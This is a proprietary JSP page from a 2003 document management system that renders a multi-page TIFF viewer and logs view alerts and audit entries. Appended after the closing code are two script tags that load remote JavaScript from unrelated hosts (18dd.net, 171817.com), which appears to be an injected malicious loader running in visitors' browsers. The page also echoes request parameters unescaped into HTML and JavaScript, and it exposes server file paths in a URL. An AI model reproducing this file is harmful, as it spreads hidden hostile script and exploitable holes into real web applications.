<%
/*
 * @(#)ZipViewer.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ZipViewer.jsp

  This class is used to retrieve the document content from http

  @author          Rollo Chan
  @company         DCIVision Limited
  @creation date   21/08/2003
  @version         $Revision: 1.24.2.4 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.dms.core.FileDownloader"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.net.URLConnection"%>
<%@ page import="java.net.URLDecoder"%>
<%@ page import="java.util.Enumeration"%>
<%@ page import="java.util.zip.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.text.NumberFormat"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.image.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="com.dcivision.alert.core.*"%>
<%@ page import="com.dcivision.audit.*"%>
<%@ page import="com.dcivision.audit.bean.*"%>
<%@ page import="com.dcivision.audit.core.*"%>
<%@ page import="org.apache.struts.action.Action"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script> 
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<%
// Retrieval Document ID and its Version ID
Integer documentID = TextUtility.parseIntegerObj(request.getParameter("documentID"));
String version = request.getParameter("version");
Integer versionID = new Integer(1);
DmsDocument document = null;
Connection conn = null;
String physicalPath = null;
ZipFile tifFile = null;

try {
  conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DmsContentManager dmsContentManager = new DmsContentManager(sessionContainer, conn);

  String name = "";
  document = (DmsDocument) docRetrievalManager.getDocument(documentID);

  name = document.getDocumentName();
  name = TextUtility.getURLEncodeInUTF8(document.getDocumentName());

  boolean showPage = false;

  DmsVersion dmsVersion = new DmsVersion();
  Integer contentID = new Integer(0);
  if (!Utility.isEmpty(version) && !DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
    versionID = TextUtility.parseIntegerObj(version);
    dmsVersion = (DmsVersion)docRetrievalManager.getVersionByVersionID(versionID);
    contentID = dmsVersion.getContentID();
  } else if (DmsOperationConstant.DMS_TOP_VERSION.equals(version)) {
    dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(documentID);
    contentID = dmsVersion.getContentID();
  }
  DmsContent docContent = (DmsContent)docRetrievalManager.getContentByContentID(contentID);
  if("tiff".equals(docContent.getExt())||"tif".equals(docContent.getExt())||"TIFF".equals(docContent.getExt())||"TIF".equals(docContent.getExt())){
    showPage = true;
  }
  String converted = (String)URLDecoder.decode(docContent.getConvertedName());

  if (request.getParameter("isFirstView")!=null) {
    //Alert Manager  
    AdapterMaster am = AdapterMasterFactory.getAdapterMaster(sessionContainer, conn);
    try {  
      LogFactory.getLog(this.getClass()).debug("call AM!!!!!");
      LogFactory.getLog(this.getClass()).debug("newDmsDocument.getDocumentName() is " + document.getDocumentName());
      am.call(UpdateAlert.DOCUMENT_TYPE, document.getID(), UpdateAlert.VIEW_ACTION,
      document.getDocumentName(), null, null, null );
      if(docRetrievalManager.hasRelationship(document.getID(),null)){
		MtmDocumentRelationshipDAObject docRelationshipDAO = new MtmDocumentRelationshipDAObject(sessionContainer, conn);
	    List relationList=(List)docRelationshipDAO.getListByIDRelationType(document.getID(),null);
	    List inRelationList=(List)docRelationshipDAO.getListByRelationIDRelationType(document.getID(),null);
	    List alertList=new ArrayList();
		AlertManager alertManager = new AlertManager(sessionContainer, conn);
	    if(!Utility.isEmpty(relationList)){
		  for(int i=0;i<relationList.size();i++){
            alertList = alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
		    if(!Utility.isEmpty(alertList)){
			  am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)relationList.get(i)).getDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
	           null,null,null,document.getID());
		    }
          }
	    }
	  if(!Utility.isEmpty(inRelationList)){
		for(int i=0;i<inRelationList.size();i++){
		  alertList= alertManager.listUpdateAlertByObjectTypeObjectIDAndAction(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC);
		  if(!Utility.isEmpty(alertList)){
			 am.call(UpdateAlert.DOCUMENT_TYPE,((MtmDocumentRelationship)inRelationList.get(i)).getRelatedDocumentID(),UpdateAlert.MODIFY_RELATED_DOC,document.getDocumentName(),
	           null,null,null,document.getID());
		  }
		}
	  }
	}
      LogFactory.getLog(this.getClass()).debug("finished AM!!!!!");
    } catch (Exception e) {
      LogFactory.getLog(this.getClass()).error(e, e);
    }
    
    // log down in audit trail
    AuditTrailManager auditManager = new AuditTrailManager(sessionContainer, conn);
    if (sessionContainer.getUserRecordID()!=null) {
      auditManager.auditTrail(GlobalConstant.OBJECT_TYPE_DOCUMENT, document, AuditTrailConstant.ACCESS_TYPE_VIEW, dmsVersion.getVersionNumber());      
    }
  }

  physicalPath = dmsContentManager.getDmsDocumentStoreFilePysicalPath(document,docContent);
  ImageUtility iu = new ImageUtility();
  int numOfPages = 1;
  if(showPage){
	  /*
	   * joan.xiong update code for bug EIP-776 by 2006/11/02
	   */
	  try{
		  numOfPages = iu.getNumOfPage(physicalPath);
	  }catch(Exception ex){
		  //throw new ApplicationException("errors.dms.get_tiff_content_failed");
		  %>
		  <b style="color:red"><bean:message key='dms.message.show_tifViewer'/></b>
		  <%
			  return;
	  /*
	   * joan.xiong update code end
	   */
	  }
  }
   
  int pageNo = Utility.isEmpty(request.getParameter("pageNo")) ? 0 : Integer.parseInt(request.getParameter("pageNo"));
  int rotate = Utility.isEmpty(request.getParameter("rotate")) ? 360 : Integer.parseInt(request.getParameter("rotate"));
  float scale = Utility.isEmpty(request.getParameter("scale")) ? -1.0F : Float.parseFloat(request.getParameter("scale"));
%>
<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<title><bean:message key='dms.label.tif_viewer'/> - <%=document.getDocumentName()%></title>
</head>
<body>
<%if(showPage){%>
<div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<center>
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%">
<form name="frm" method="get">
  <tr align="middle">
   <td height="25"><b><font face="Arial, Helvetica, sans-serif" size="4"><%=document.getDocumentName()%></font></b></td>
  </tr>
  <tr>
    <td align="right">
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="170">    
    <b style="font-family:Arial;font-size:12px"><bean:message key='dms.label.rotate'/>:</b>
    <select name="rotate" onchange="self.location.href='TifViewer.do?version=<%=request.getParameter("version")%>&documentID=<%=request.getParameter("documentID")%>&pageNo=<%=pageNo%>&scale=<%=scale%>&rotate='+this.value">
      <option value="360"<%=rotate==360?" selected":""%>>0</option>
      <option value="90"<%=rotate==90?" selected":""%>>90</option>
      <option value="180"<%=rotate==180?" selected":""%>>180</option>
      <option value="270"<%=rotate==270?" selected":""%>>270</option>
    </select>
    <b style="font-family:Arial;font-size:12px"><bean:message key='dms.label.degree'/></b>
          </td>

          <td>    
    <b style="font-family:Arial;font-size:12px"><bean:message key='dms.label.scale'/>:</b>
    <select name="rotate" onchange="self.location.href='TifViewer.do?version=<%=request.getParameter("version")%>&documentID=<%=request.getParameter("documentID")%>&pageNo=<%=pageNo%>&rotate=<%=rotate%>&scale='+this.value">
      <option value="0.1"<%=scale==0.1F?" selected":""%>>10%</option>
      <option value="0.25"<%=scale==0.25F?" selected":""%>>25%</option>
      <option value="0.5"<%=scale==0.5F?" selected":""%>>50%</option>
      <option value="0.75"<%=scale==0.75F?" selected":""%>>75%</option>
      <option value="1.0"<%=scale==1.0F?" selected":""%>>100%</option>
      <option value="1.25"<%=scale==1.25F?" selected":""%>>125%</option>
      <option value="1.5"<%=scale==1.5F?" selected":""%>>150%</option>
      <option value="2.0"<%=scale==2.0F?" selected":""%>>200%</option>
      <option value="-1.0"<%=scale==-1.0F?" selected":""%>><bean:message key='dms.label.fit_to_width'/></option>
      <option value="-2.0"<%=scale==-2.0F?" selected":""%>><bean:message key='dms.label.fit_to_height'/></option>
    </select>    
          </td>
          
          <td align="right">
    <b style="font-family:Arial;font-size:12px"><bean:message key='dms.label.num_of_pages'/>:<%=numOfPages%>&nbsp;&nbsp;&nbsp;&nbsp;</b>
    <%if (pageNo>0) {%><a href="TifViewer.do?version=<%=request.getParameter("version")%>&documentID=<%=request.getParameter("documentID")%>&rotate=<%=rotate%>&scale=<%=scale%>"><html:img src='IconPagerFirst.gif' /></a><a href="TifViewer.do?version=<%=request.getParameter("version")%>&documentID=<%=request.getParameter("documentID")%>&rotate=<%=rotate%>&scale=<%=scale%>&pageNo=<%=pageNo-1%>"><html:img src='IconPagerPrevious.gif' /></a><%}%><select name="pageNo" onchange="self.location.href='TifViewer.do?version=<%=request.getParameter("version")%>&documentID=<%=request.getParameter("documentID")%>&rotate=<%=rotate%>&scale=<%=scale%>&pageNo='+this.value">
    <%
      for (int i = 0; i < numOfPages; i++) {
      %>
      <option value="<%=i%>"<%=(""+i).equals(request.getParameter("pageNo"))?" selected":""%>><%=i+1%></option>
      <%
      }
    %>
    </select><%if (pageNo<numOfPages-1) {%><a href="TifViewer.do?version=<%=request.getParameter("version")%>&documentID=<%=request.getParameter("documentID")%>&rotate=<%=rotate%>&scale=<%=scale%>&pageNo=<%=pageNo+1%>"><html:img src='IconPagerNext.gif' /></a><a href="TifViewer.do?version=<%=request.getParameter("version")%>&documentID=<%=request.getParameter("documentID")%>&rotate=<%=rotate%>&scale=<%=scale%>&pageNo=<%=numOfPages-1%>"><html:img src='IconPagerLast.gif' /></a><%}%>
    <html:img src='LayoutSpacer.gif'  width='2'/>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td><div style="width:960px;height:580px;overflow:auto;border-style:inset;border-width:1;background-color:#EEEEEE"><img name="tifImg" src="<%=request.getContextPath()%>/jsp/dms/TifToJpeg.jsp?file=<%=java.net.URLEncoder.encode(physicalPath, "UTF-8")%>&pageNo=<%=pageNo%>&rotate=<%=rotate%>&scale=<%=scale%>&ext=.jpg"></div></td>
  </tr>
  <tr>
    <td><html:img src='LayoutSpacer.gif'  height='5'/></td>
  </tr>  
</form>  
</table>
<table>
<tr>
<td>
<html:standardButton label="common.label.print" onClick="return NavPrint()"/>
</td>
<td>
<html:standardButton label="common.label.close" onClick="return self.close();"/>	
</td>
</tr>
</table>
</center>
<%}else{%>
  <b><bean:message key='dms.message.show_tifViewer'/></b>
<%}%>
</body>
</html>
<%
    conn.commit();
  }
  catch (Exception e) {
    out.println(e.toString());
    LogFactory.getLog(this.getClass()).error(e, e);
  }
  finally {
    try { tifFile.close(); } catch (Exception ignore) {} finally { tifFile = null; }
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>